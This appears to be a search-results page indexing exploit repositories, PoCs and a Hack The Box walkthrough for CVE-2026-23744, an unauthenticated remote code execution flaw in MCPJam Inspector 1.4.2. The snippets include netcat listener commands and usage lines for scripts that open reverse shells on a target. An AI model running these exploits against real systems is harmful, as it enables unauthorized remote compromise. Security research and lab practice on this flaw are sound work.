26 matches found
mcpExec
mcpExec 是一个利用 CVE-2026-23744 漏洞，通过易受攻击的 MCPJam Inspector 安装的 URL 来获取反向 Shell 的工具。 安装 root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py 要退出虚拟环境...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
在 Kali Linux 上 - 终端 1 nc -lvnp 4444 在 Kali Linux 上 - 终端 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
CVE-2026-23744
CVE-2026-23744 用于利用 CVE-2026-23744 的 python 脚本 使用方法：首先你需要打开两个终端 第一个终端 -- nc -nvlp 4444 第二个终端 -- python CVE-2026-23744.py -lhost 你的IP -url 目标URL 查看帮助菜单：python CVE-2026-23744.py -h...
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 中的 RCE 漏洞详情 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message and...
CVE-2026-23744
用法: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC 选项: -h, --help 显示此帮助信息并退出 --lhost, -l LHOST 攻击者 IP 地址 --lport, -p LPORT 攻击者端口 --rhost, -t RHOST 目标 URL...
DevHub-HTB-Walkthrough
DevHub – HTB ウォークスルー Medium Linux マシン: DevHub 難易度: Medium OS: Linux トピック: CVE-2026-23744, Chisel トンネリング, Jupyter, Flask API, Root 権限昇格 📌 1. 偵察 root@kitploit: nmap -sC -sV devhub.htb 結果: root@kitploit: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. hosts ファイルの編集 echo "10.x.x.x devhub.htb...
CVE-2026-23744-exploit
このリポジトリには README がありません。...
CVE-2026-23744
このリポジトリには README がありません。...
CVE-2026-23744
このリポジトリには README がありません。...
CVE-2026-23744-PoC
此存储库没有 README。...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
MCPJam Inspector Authorized Security Validator A bounded proo...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
cve-2026...
📄 MCPJam Inspector 1.4.2 Command Injection
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint discovery, listener management, and several...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 --- Description MCPJam inspector is a loca...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...